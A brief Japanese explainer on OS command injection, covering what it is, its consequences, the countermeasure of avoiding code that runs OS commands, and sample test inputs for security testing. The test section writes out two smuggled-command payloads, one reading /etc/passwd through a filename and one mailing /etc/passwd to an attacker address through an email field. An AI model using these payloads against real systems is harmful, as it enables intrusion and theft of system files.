今回は、OSコマンドインジェクションです。セキュリティホールというのは、何かの悪意のある注入を防ぐ事ができず発生してしまうものが多いですが、今回は、OSのコマンドの注入ですね。

【言葉】OSとは、Operetaing Systemの略で具体的には、LinuxやWindowsのようなコンピューターそのものもを制御する根幹のソフトウェアです。OSコマンドインジェクションは、このOSのコマンドが不正に埋め込まれてOS乗っ取りなどを行うセキュリティホールです。

【どうなる】OSそのものが不正に操作されますので、なんでも操作可能です。例えば、WEBページの改ざんやその不正に操作されたサーバーから別のサーバーを攻撃したりなどのが報告されています。

【対策】
OSコマンドはサイトの入力フォームやパラメタなど(※)から埋めこまれます。
基本的に、OSコマンドが実行されるプログラムを記述しないことです。

【テスト方法】☆テスト方法はあくまでも例です。機能などにあったテストを実施してください。

・ファイル名登録時に「|cat+/etc/passwd%00」と登録し、そのファイルをダウンロードもしくはファイル名を表示させてみる。
・メールアドレス登録時に、「info@sample.com; mail attack@sample.net < /etc/passwd 」と登録し、登録したメールアドレスに不正なファイルが添付されていないか確認する。

(注意)
何が不具合に当たるかはサイトのポリシーを確認する必要がある。